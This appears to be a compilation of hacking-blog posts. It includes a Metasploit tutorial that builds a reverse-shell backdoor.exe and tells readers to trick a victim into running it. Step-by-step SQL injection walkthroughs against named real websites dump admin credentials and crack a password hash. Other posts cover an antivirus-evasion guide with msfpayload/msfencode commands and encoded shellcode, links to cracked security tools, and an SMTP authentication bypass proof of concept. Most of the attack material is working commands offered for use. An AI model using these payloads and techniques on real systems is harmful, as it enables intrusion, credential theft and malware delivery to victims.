Hack Windows 7 with Metasploit

In this tutorial i will exploit a Windows 7 Sp1 OS using Metasploit. i will be using the exploit/multi/handler module which “provides all of the features of the Metasploit payload system to exploits that have been launched  outside of the framework“
Before we fire up Metasploit, we need to create a payload in order to gain a meterpreter shell. To create a payload type this in the terminal without the quotes:


msfpayload windows/meterpreter/reverse_tcp LHOST=”your Local IP” LPORT=”listening port” x > /root/backdoor.exe


I used port 4444 (you can choose your own port) for the LPORT which is the listening port and set the LHOST to the IP of the remote attacker which is obviously your Local IP address, my IP is 192.168.10.5.

After that, you should be able to see a file named as backdoor.exe in /root. Send the file to the victim by using your Social Engineering skills and let him click the file. You can change the name of the file so that it is not that obvious.


Launch Metasploit and set the exploit by typing these commands in your msfconsole:


use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.5
set lport 4444
exploit

If all goes well, you should be able to establish a meterpreter session. Type sysinfo to gather some info on the machine. To know other commands for the meterpreter type help. There are also other meterpreter commands like capturing the screenshot of the PC, record keystrokes, capture a snapshot from a webcam, etc. To enter the command shell of the machine, type shell.
it,s cool to take a screenshot with meterpreter command screenshot.

Simple Mail Server - SMTP Authentication Bypass Vulnerability

Title: Simple Mail Server - SMTP Authentication Bypass Vulnerability


Software : Simple Mail Server


Software Version : 2011-12-30


Vendor: http://simplemailsvr.sourceforge.net/


Class:  Origin Validation Error  


CVE:

Remote:  Yes  


Local:  No  


Published:  2012-01-08


Updated: 


CVSS2 Base: 6.4 (AV:N/AC:L/Au:N/C:P/I:N/A:P)


Impact : Medium (4 < 6.4 < 8)


Bug Description :
Simple Mail Server is a tiny Mail Server written in C#. It can be sent mail without password by using usual tcp 
client(such as telnet).
And it did not have SMTP authentication contoller.


POC(Remarks: domain alex.com and user alex () alex com must be exists in configuration for this test case):
telnet 127.0.0.1 25
220 TEST-121F797342 SMTP ready.
EHLO mail_of_alert
500 Not supported. Use HELO
MAIL FROM:
250 OK
RCPT TO:
250 OK
Data
354 Start mail input; end with .
From: "alex () alex com"
To: "alex () alex com"
Subject: authenticate is not required!

WebBackdoors , Attack, Evasion and Detection

This paper provides insight on common web back doors and how simple manipulations could make them undetectable by AV and other security suits. Paper explains few techniques that could be used to render undetectable and unnoticed backdoor inside web applications. This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and analysis of a couple of web shells. Current paper takes this topic further and explains a couple of methodologies that could be used to make stealth application layer backdoors using web scripting languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used to stay undetected.


Download PDF

Advanced SQL Injection - Defcon 17 - john Mccray

According to OWASP top 10 vulnerabilities of 2010, SQL injection is the most dangerous and most common vulnerability around, A SQL Injection vulnerability occurs due to improper input validation or no input validation at all, what I mean by improper or no input validation is the user input is not filtered(for escape characters) before it gets passed to the SQL database, A Sql injection attack can be any many forms, but it's usually categorized into 3 types:

1. Inband

2. Out of band

3. Inferential

n this presentation john Mccray discusses some of advanced SQL Injection methods and topics such as IDS evasion, filter bypassing etc.

WebsiteDefender – Ensure Your Website Security

WebsiteDefender is an online service that monitors your website for hacker activity, audits the security of your web site and gives you easy to understand solutions to keep your website safe. With WebsiteDefender you can:

• Detect Malware present on your website
• Audit your web site for security issues
• Avoid getting blacklisted by Google
• Keep your web site content & data safe
• Get alerted to suspicious hacker activity

It has an easy to user interface, it picks up all kinds of issues such as malware, reverse shells like c99, obvious stuff like outdated Plugins and WordPress core, weak passwords, bad configurations (including .htaccess config) and much more.

Each alert is well explained and will help you to solve any issues the system finds on your blog/site.

The great value with this for me is once you are subscribed, you will be automatically alerted of new issues by email as and when they occur. This will help you keep your website secure and will let you know immediately if any issues develop.
They’ve even released two WordPress plugins which you can find here:
WP Security Scan & Secure WordPress
You can check out the website here and sign up for a free account to test it out:
http://www.websitedefender.com/
They are on Twitter too @WebsiteDefender & Facebook.

Online SQLi Scanners

http://scanner.drie88.tk/
http://wolfscps.com/gscanner.php
http://cattuong.net/
http://www.sunmagazin.com/tools/hack/SQLI-Scan/
http://www.be007.gigfa.com/scanner/scanner.php
http://localvn.biz/Tools/tools/Hack-Shop/SQLI-Scan/

Regards
iMasterhack

WordPress Security/Vulnerability Scanner - WPScan

WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach (scanning without any prior knowledge of what has been installed etc).

Features

• Username enumeration (from author querystring and location header)
• Weak password cracking (multithreaded)
• Version enumeration (from generator meta tag)
• Vulnerability enumeration (based on version)
• Plugin enumeration (2220 most popular by default)
• Plugin vulnerability enumeration (based on version) (todo)
• Plugin enumeration list generation
• Other misc WordPress checks (theme name, dir listing, …)

Requirements

WPScan requires two non native Ruby gems, typhoeus and xml-simple. It should work on both Ruby 1.8.x and 1.9.x.

sudo apt-get install libcurl4-gnutls-dev
sudo gem install –user-install typhoeus
sudo gem install –user-install xml-simple

The full README is available here.

You can download WPScan by checking it out from the SVN repository on Google Code:

svn checkout http://wpscan.googlecode.com/svn/trunk/ wpscan-read-only

Or you can read more here.

PuTTY v.0.61 Released

PuTTY 0.61 is out, after over four years , with new features, bug fixes, and compatibility updates for Windows 7 and various SSH server software.

                                                         

PuTTY is a free implementation of Telnet and SSH for Windows and Unix platforms, along with an xterm terminal emulator

These features are new in beta 0.61:

Kerberos/GSSAPI authentication in SSH-2.

Local X11 authorisation support on Windows. (Unix already had it, of course.)

Support for non-fixed-width fonts on Windows.

GTK 2 support on Unix.

Specifying the logical host name independently of the physical network address to connect to.

Crypto and flow control optimisations.

Support for the zlib@openssh.com SSH-2 compression method.

Support for new Windows 7 UI features: Aero resizing and jump lists.

Support for OpenSSH AES-encrypted private key files in PuTTYgen.

Bug fix: handles OpenSSH private keys with primes in either order.

Bug fix: corruption of port forwarding is fixed (we think).

Bug fix: various crashes and hangs when exiting on failure,

Bug fix: hang in the serial back end on Windows.

Bug fix: Windows clipboard is now read asynchronously, in case of deadlock due to the clipboard owner being at the far end of the same PuTTY's network connection (either via X forwarding or via tunnelled rdesktop).

Download: http://www.chiark.greenend.org.uk

Acunetix Ver 7.0 Cracked Working and UPDATEABLE

Tested in : Windows xp desktop Pc and windows 7 Ultimate Laptop and its working and UPDATEABLE!! .. 

But  only use in Vmware because i am not 100 % sure if it is clean ... 

Thanks...

Download Info 

Code:

http://www.multiupload.com/EECTPQMDUH

Pangolin Professional working Tested

I am using and it is works ..IT  is better than Havij because it Can Work with https and also you can upload files with load file function .

also please use only in vmware because i am not sure if it is 100 % clean .

Download Info

Code:

http://www.multiupload.com/H5NWYJSASK

Postgre:

Traditional relational database management systems (DBMSs) support a data model consisting of a collection of named relations, containing attributes of a specific type. In current commercial systems, possible types include floating point numbers, integers, character strings,
money, and dates.

Lets start to play with Postgre:

1st Step find the vulnerability:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80'

ERROR: syntax error at or near "''"
its mean this website can be injected.remember errors can varies you wont get the same error every time.

2nd Step Columns count:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 order by 1--

get valid page

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 order by 2--

Error Executing Database Query.
ERROR: ORDER BY position 2 is not in select list
That Error shows that there is one column.

Lets try UNION SELECT query:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=2 UNION SELECT 1--

Error Executing Database Query.
ERROR: UNION types character varying and integer cannot be matched

Seems like UNION SELECT query is not working !!!


Lets try Errorbased Postgre SQLi…

3rd Step:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast(version() as int)--

ERROR: invalid input syntax for integer: "PostgreSQL 8.4.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit"

As we can see we got version of postgre DB server in the form of error.

Lets move on and find database name.

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "scoutsqld"
Scoutsqld is 1st database name you can variey offset to get other databases names.

scoutsqld is first database we can get others by changing offset :)

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 1) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: "template0"
template0 is 2nd database so you can increase offset till you got error.

Lets find out the user:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select user from pg_database limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "postgres"

postgres is the user :)

Lets find the tables :>
4th step:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select table_name from information_schema.tables  limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "pg_type"

pg_type is first table we can get others by changing offset :)

5th step:

Now we have to find the columns from our specific table !!!

e.g

our table is action

for that we have to use oracle char conversion.

Pg_type= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101)

so our query is :

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select column_name from information_schema.columns where table_name= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101)  limit 1 offset 0) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: " typname "
And further you can find the columns using offset..

Last step:
Now we have to extract data from our column .

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select typname from pg_type limit 1 offset 0) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: "bool"

[Video tut]Sqli injection Details Tutorial [Noob Friendly]

Presents Sqli Injection Fully Detailed Video Tutorial In High Quality Fully Detailed [Noob Friendly]

By Mr.Mind fReak


Download

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SQL injection Hack tool for hacking websites and database

Introduction:

Safe3SI is one of the most powerful and easy usage penetration testing tool that automates the process of detecting and exploiting

SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the

ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database,

to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Screenshot:

Features:

• Full support for http, https website.
• Full support for Basic, Digest, NTLM http authentications.
• Full support for GET, Post, Cookie sql injection.
• Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
• Full support for four SQL injection techniques: blind, error-based, UNION query and force guess.
• Powerful AI engine to automatic recognite injection type, database type, sql injection best way.
• Support to enumerate databases, tables, columns and data.
• Support to read,list and write any file from the database server underlying file system when the database software is MySQL or Microsoft SQL Server.
• Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is Oracle or Microsoft SQL Server.
• Support to ip domain query,web path guess,md5 crack etc.
• Support for sql injection scan.

Download:

Safe3SI need to download and install:

• .NET Framework 2.0 or above needed to install

• Safe3SI v8.2

SQL Injection tutorial to Hack websites | Hacking websites

we have already discussed about SQL Injections method of hacking websites . Some of my website users reported that those articles are little bit difficult to understand for new users who wish to learn hacking. For the sake of new users who wish to learn website hacking and SQL injection, i am writing this article  at such a basic level that the user who didn't even have any prior knowledge of SQL can start SQL Injecting websites. This article is also beneficial for hackers too as it will refresh their concepts that what really we have to do and look into website URL if we want to hack website or its database using SQL injection. So Guys read on very basic SQL injection tutorial...

SQL injection tutorial to hack websites | Hacking website databse

What is SQL Injection?

Basically SQL Injections or simply called Structured Query Language Injection is a technique that exploits the loop hole in the database layer of the application. This happens when user mistakenly or purposely(hackers) enters the special escape characters into the username password authentication form or in URL of the website. Its basically the coding standard loop hole. Most website owners doesn't have proper knowledge of secure coding standards and that results into the vulnerable websites. For better understanding, suppose you opened a website and went to his Sign in or log in page. Now in username field you have entered something say Adnan and in the password box you pass some escape characters like ',",1=1, etc... Now if the website owner hasn't handled null character strings or escape characters then user will surely get something else that owner never want their users to view.. This is basically called Blind SQL.

Requirements for SQL Injection:

1. You need a web browser to open URL and viewing source codes.

2. Need a good editor like Notepad ++ to view the source codes in colored format so that you can easily distinguish between the things.

3. And very basic knowledge of some SQL queries like SELECT, INSERT, UPDATE, DELETE etc..

What you should look into website to detect is it vulnerable to SQL injection attack or not?

First of all you can hack those websites using SQL injection hacks that allows some input fields from which can provide input to website like log in page, search page, feedback page etc. Nowadays, HTML pages use POST command to send parameters to another ASP/ASPX page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

 < F O R M action=login. aspx method=post>
< i n p u t type=hidden name=user v a l u e=xyz>
< / F O R M>

Everything between the < f o r m >  and < / f o r m > parameters (remove spaces in words) contains the crucial information and can help us to determine things in more detailed way.

There is alternate method for finding vulnerable website, the websites which have extension ASP, ASPX, JSP, CGI or PHP try to look for the URL's in which parameters are passed. Example is shown below:

http://example.com/login.asp?id=10

Now how to detect that this URL is vulnerable or not:

Start with single quote trick, take sample parameter as hi'or1=1--. Now in the above URL id is the parameter and 10 is its value. So when we pass hi'or1=1-- as parameter the URL will look like this:

http://example.com/login.asp?id=hi' or 1=1--

 You can also do this with hidden field, for that you need to save the webpage and had to made changes to URL and parameters field and modify it accordingly. For example:

< F O R M action=http://example.com/login. asp method=p o s t >
< i n p u t  type=hidden name=abc value="hi' or 1=1--">
< / F O R M >

 

 If your luck is favoring you, you will get the login into the website without any username or password.

But why ' or 1=1-- ?
Take an asp page that will link you to another page with the following URL:

http://example.com/search.asp?category=sports

In this URL 'category' is the variable name and 'sports' is it's value.

Here this request fires following query on the database in background.

SELECT * FROM TABLE-NAME WHERE category='sports'

Where 'TABLE-NAME' is the name of table which is already present in some database.
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:

http://example.com/search.asp?category=sports' or 1=1--

Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like:
SELECT * FROM search WHERE category='sports' or 1=1--'
 

The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

 
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='

How to protect you own websites from SQL injection?

 
Filter out character like   '    "    -    /    \    ;    NULL, etc. in all strings from:
* Input from users
* Parameters from URL
* Values from cookie

That's all for today, 

I hope it really helped you to clear your basics about website hacking or website database hacking using SQL injection.

If you have any queries ask me in form of comments...

SQL Injection | Step by Step deface website

What is SQL injection ?
SQL stands for Structured Query Language. It is very high level language,I mean close to humans.
Like SELECT,INSERT,DELETE,UPDATE queries are used to select,add data,delete data,update data
respectively.SQL is used to
design the databses. The information is stored in databses.
SQL injection is the vulnerability occuring in database layer of application which allow attacker to see
the contents stored in database. This vulnerabilty occures when the user's input is not filtered or
improperly filtered.Example the webpages links in format
www.anything.com/something.php?something=something, example
www.tartanarmy.com/news/news.php?id=130.
Here we are passing 130 to database and it returns the results accordingly. Lets attach a single quote at the end (') that is
www.tartanarmy.com/news/news.php?id=130'
and we got an error on the screen because it included the single quote (') while processing the results. It assures us that it didn't filter our input and is vulnerable to attack.

Some basics-:
Every database server has databases on it. Every database has tables in it, tables have columns in it and finally data is stored in columns.



 


We Have chosen database "explore_hacking" from six databases. Its has four tables admin,articles,products,subscribers. Each table has further columns and data stored in them . For example we chose 'admin' table, it has columns id,username,password,email.

 What is information_schema ?
It is information database present in all SQL database severs(version>5) by default. It contains
information like names of tables,columns present in all other databases.

We have opened database "information_schema" which is present by default and the table named as "TABLES" in database.





SQL Injection Tutorial :- 
 This tutorial is only for educational purposes. Kindly do not misuse it.
Log on to http://www.tartanarmy.com/news/news.php?id=130. Basically we are going to send the queries through URL to get back results on screen accordingly. The motive is to get name of table, name of colmun in which usernames and passwords are stored and finally fetching them. Instead of copying and pasting the long links, simply click on "click here" and open in new tab.

Step1.Find number of columns.
Lets use "ORDER BY" clause here, it is used to sort the columns.Choose any number,
say 10. Here I have assumed that number columns cant be more then 10."--" is used for making anything after it comment.
Now go to this URL
http://www.tartanarmy.com/news/news.php?id=130 order by 10-- Click here
Actually we instructed it sort the result by 10th column. But it returned us with an error,this
means number of columns are less then 10. Lets replace it with 9.

http://www.tartanarmy.com/news/news.php?id=130 order by 9. But again we got an error. This
means number of columns are less than 9. Like this we keep on moving, until we dont get any error.
Finally we reach on '6'
http://www.tartanarmy.com/news/news.php?id=130 order by 6--
we didn't get any error, this means there are 6 colums.

Step 2.Find vulnerable columns.
Now lets use "UNION ALL" and "SELECT" command. Remember to put dash (-) before 130.
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,2,3,4,5,6--. Click here
We would get a couple of numbers on screen. The bold ones are the most vulnerable columns.
In this case the most vulnerable is number 2.

Step 3. Find database version.
Replace the most vulnerable column with "@@version" or "verson()" (if first one doesn't work).
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,@@version,3,4,5,6-- Click here
We got the version on screen. It is. The only thing to note is that version is 5 point something that
is greater than 5. We would have followed some other approach in case the version would be
less than 5 because there is no database by default like "information_schema" which stores information about tables/columns of other databases. in version less than 5.

Step 4. Finding table names.
Replace vulnerable column no. with "table_name".
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,table_name,3,4,5,6 from 
 information_schema.tables where table_schema=database()-- Click here
We got first table name on the screen.

To get all tables use group_concat

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where                                             table_schema=database()-- Click here

Step 5.Finding column names.
Simlary get all the columns by simply replacing 'table' with 'column'
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_schema=database()-- Click here
There is a repeating element like in this case is 'id' .From it, we come to know which table number
has which columns.

Step 6.Fetching data from columns.
We can fetch the data stored in any column. But the interesting ones here are username and password.
These columns are in first table that is tar_admin. "0x3a" is used simply to insert a colon in result  to separate it, it is hex of colon.

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--. Click Here

So finally we got the usernames and passwords on screen. But passwords are encrypted.
Mostly these encryptions are crackable. Lets choose any username say
"Sneds". The password in encrypted form is 7d372d3f4ad3116c9e455b20e946dd15 .Lets logon to http://md5crack.com/crackmd5.php and put the hashed(encrypted) password here.
And it would crack for us. We got 'oorwullie' in result ( password in clear text).

Note:Hashes are type of encryptions which are irreversible.  There are numberless online crackers  available. Keep trying. Sometimes very strong hashes can not be cracked. 
Where is the login panel or login page of website ?
So you got the key, where is lock now ? Most of the websites have login pages at default locations.
There is any website, say www.xyz.com. The login page would be at
www.xyz.com/admin , www.xyz.com/administrator , www.xyz.com/adminlogin etc.
Download this admin page finder from here and it would try all these default pages.



So You came to know that how deadly it could be to allow users to send their input without any filteration/validation. So never be lazy at programming and use possible filteration mechanisms. 

Kindly mention your queries in comments. The same thing we did can be done easily using automated tools.I will write that in next post. But avoid tools,if you really want to learn new.

Download BackTrack 5

How to download BackTrack 5

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How to hack online Sessions : Session Hijacking

Hello friends, from now onwards we will explore the most advanced Hacking Techniques. One of them is Session Hijacking. In today's tutorial we will discuss How to hack the online sessions using Session Hijacking. In today's Hacking class, i will explain basics of Session Hijacking like What is session Hijacking and Different types of Session Hijacking attacks and different methods to Hijack the sessions. In my next tutorial that is tomorrow i will explain you in Detail How to Hijack the Sessions and what tools you will need to Hijack the active sessions. So friends read on...

How Session Hijacking works

What is Session Hijacking?

Let's discuss them in common term's, Session Hijacking by the name only it suggests that we are hacking someone's active session and trying to exploit it by taking the unauthorized access over their computer system or Network. So Session Hijacking is the exploitation of valid computer or network session. Sometimes technical guys also call this HTTP cookie theft or more correctly Magic Cookie Hack. Now you guys surely be thinking what is Magic Cookie.
Magic cookie is simply a cookie that is used to authenticate the user on remote server or simply computer. In general, cookies are used to maintain the sessions on the websites and store the remote address of the website. So in Session Hijacking what Hacker does is that he tries to steal the Magic cookies of the active session that's why its called HTTP cookie Theft. Nowadays several websites has started using HTTPS cookies simply called encrypted cookies. But we all know If encrypter exits so its decrypter also :P..


Session Hijacking is the process of taking over a existing active session. One of the main reason for Hijacking the session is to bypass the authentication process and gain the access to the machine. Since the session is already active so there is no need of re-authenticating and the hacker can easily access the resources and sensitive information like passwords, bank details and much more. 

Different Types of Session Hijacking

Session Hijacking involves two types of attacks :
1. Active attack
2. Passive attack


In Passive attack, the hacker Hijacks a session, but just sits back and watches and records all the traffic that is being sent from the computer or received by the computer. This is useful for finding the sensitive information like username passwords of websites, windows and much more...


In Active attack, hacker finds the active session and takes over it. This is done by forcing one of the parties offline which is usually achieved by DDOS attack (Distributed Denial of service attack) . Now the hacker takes control over the active session and executes the commands on the system that either give him the sensitive information such as passwords or allow him to login at later time.
 There are also some hybrid attacks, where the attacker watches a session for while and then becomes active by taking it over. Another way is to watch the session and periodically inject data into the active session without actually taking it over.

Methods to Hijack Sessions

 There are four main methods used to perpetrate a session hijack. These are:

• Session fixation, where the attacker sets a user's session id to one known to him, for example by sending the user an email with a link that contains a particular session id. The attacker now only has to wait until the user logs in.
• Session sidejacking, where the attacker uses packet sniffing to read network traffic between two parties to steal the session cookie. Many web sites use SSL encryption for login pages to prevent attackers from seeing the password, but do not use encryption for the rest of the site once authenticated. This allows attackers that can read the network traffic to intercept all the data that is submitted to the server or web pages viewed by the client. Since this data includes the session cookie, it allows him to impersonate the victim, even if the password itself is not compromised. Unsecured Wi-Fi hotspots are particularly vulnerable, as anyone sharing the network will generally be able to read most of the web traffic between other nodes and the access point.
• Alternatively, an attacker with physical access can simply attempt to steal the session key by, for example, obtaining the file or memory contents of the appropriate part of either the user's computer or the server.
• Cross-site scripting, where the attacker tricks the user's computer into running code which is treated as trustworthy because it appears to belong to the server, allowing the attacker to obtain a copy of the cookie or perform other operations.

That's all for today later we will discuss in detail How to do the Session Hijacking practically. 
I hope you all like this...
If you have any queries ask me in form of comments...

Your Way to grsec/PaX Bypass-stackjacking

Technique to exploit grsecurity/PaX-hardened Linux kernels.  Read on for a brief overview of our presentation and a link to the full slides and PoC code.
By (Dan Rosenberg and jon oberheide)

The Stackjacking Technique

In our slides, we presented a technique to exploit a grsecurity/PaX-hardened Linux kernel (eg. GRKERNSEC_HIGH) given the existence of two exploitation primitives:

• an arbitrary kernel write; and
• a kernel stack memory disclosure

To be clear, this attack vector is completely unnecessary when exploiting a vanilla Linux kernel, since an arbitrary write is more than sufficient to get root, given the vast amount of useful targeting information Linux gives out via /proc, etc. Likewise, the kernel stack memory disclosure is also unnecessary on vanilla, since there are much easier ways of getting this information. However, due to GRKERNSEC_HIDESYM (which aims to remove all known sources of info leakage), PAX_KERNEXEC (which makes global data structures with known locations read-only), and other mitigation features of grsecurity/PaX, effective exploitation is orders of magnitude harder than a vanilla kernel and took a few interesting twists.
Our technique can be broken down into three distinct stages:

• Stack self-discovery: We observed that kernel stack memory disclosures can leak sensitive addresses to userspace.  In particular, if we can leak a pointer TO the kernel stack that resides ON the kernel stack, we can calculate the base of our own process’ kernel stack: kstack_base = leaked_addr & ~(THREAD_SIZE-1).  We call this technique stack self-discovery.
• Stack groping: If our end goal is to read the address of our process’ cred structure and use our write to modify it and escalate privileges, we need to turn our kleak+kwrite into an arbitrary read.  We discovered two such techniques to do this: (1) the Rosengrope technique that modifies addr_limit in thread_info metadata stored at the base of the kstack to allow arbitrary reads from kernel space to userspace; and (2) the Obergrope technique that manipulates saved registers within a kernel stack frame that are later popped and used as the source address for copy_to_user()/put_user() operations.
• Stack jacking: After constructing our arbitrary read from a kleak+kwrite, we read the task_struct address out of thread_info at the base of the kstack and then read the cred struct address out of task_struct. Armed with the address of our process’ credential structure and an arbitrary write, we modified our uids/gids/caps to escalate privileges.

For the full details, please see the presentation materials and PoC code:

• Infiltrate 2011 [PDF]
• Hackito Ergo Sum 2011 [PDF]
• PoC Code [GITHUB]

The Response

If you haven’t yet read spender’s response to our presentation, I recommend doing so.  While I’ll refrain from commenting on the political aspects of his post, I’ll happily comment on the technical aspects.  The fixes that spender and pipacs have released have mitigated the particular exploit vectors we used to perform the stack groping stage of our attack against the grsec/PaX kernel:

• The thread_info struct has been moved out from the base of the kernel stack preventing the Rosengrope technique from being able to write KERNEL_DS into the addr_limit member.
• The RANDKSTACK feature, now available on both i386 and amd64, frustrates the Obergrope technique as the randomization of the kernel stack pointer on each system call makes writing into a particular offset in the stack frame unreliable.

Props to spender and pipacs for cranking out those fixes as well as a number of other enhancements.  While the latest grsecurity patch effectively prevents the current vectors we discovered and presented in our talks at HES and Infiltrate, there are several loose ends I need to investigate to ensure the fixes address other potential exploitation vectors.
More on that later…

Bypass Antivirus Protection And Execute Metasploit Payloads

Shellcodeexec: Execute Metasploit Payloads Bypassing Antivirus Protection!
Picture this – you are performing a penetration test and you find a unpatched machine. The machine is so ill-patched that you can even run the SMBv2 (CVE-2009-3103) exploit via Metasploit and your execute from memory meterpreter script fails you. The antivirus flags you and your exploit runs unsuccessfully. msfencode does not help either! What do you do then? Use Shellcodeexec, a script to execute in memory a sequence of opcodes. Its current features include:

• Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
• Can be compiled and works on 32-bit and 64-bit architectures.
• As far as I know, no AV detect it as malicious.
• Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx – Readable Writable and eXecutable.
• It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit’s msfpayload) to Metasploit’s msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
• Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.

How to use shellcodeexec?
The author presents perfect examples to run the tool. We have listed them as under:
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Linux target:

1	$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Or for a Windows target:

1	$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

2. Execute the Metasploit multi/handler listener on your machine. For example for a Linux target:

1	$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

Or for a Windows target:

1	$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Linux target:

1	$ ./shellcodeexec

Or, on the Windows target:

1	C:WINDOWSTemp>shellcodeexec.exe

Download shellcodeexec (inquisb-shellcodeexec.zip) here.

2nd:

Background

Most of the shellcode launchers out there, including proof of concepts part of many security books, detail how to allocate a memory page as readable/writable/executable on POSIX systems, copy over your shellcode and execute it. This works just fine. However, it is limited to POSIX, does not necessarily consider 64-bit architecture and Windows systems.

Description

This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once then run your shellcode across different architectures and operating systems.

Moreover, it solves a common real world issue: the target system's anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:

$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe

This generates a Metasploit payload stager, payload.exe, that as soon as it lands on the AV-protected target system is recognized as malicious and potentially blocked (depending on the on-access scan settings) by many anti virus products. At the time of writing this text, 21 out 41 anti viruses detect it as malicious. By encoding it multiple times with msfencode, less AV softwares detect it, still a lot.

I have been surfing the Net and found some interesting tutorials and guides about packing, compressing, obfuscating and applying IDA-foo to portable executables et similar in order to narrow down the number of AV products that can detect it as a malicious file. This is all interesting, but does not stop few hard-to-die anti viruses to detect your backdoor.

So the question is, how cool would it be to have a final solution to avoid all this hassle? This is exactly where this tool comes into play!

Features

shellcodeexec:

• Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
• Can be compiled and works on 32-bit and 64-bit architectures.
• As far as I know, no AV detect it as malicious.
• Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.
• It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
• Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.

Example

1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Windows target:

$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

[*] x86/alpha_mixed succeeded with size 634 (iteration=1)

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E
4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KR
ZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP
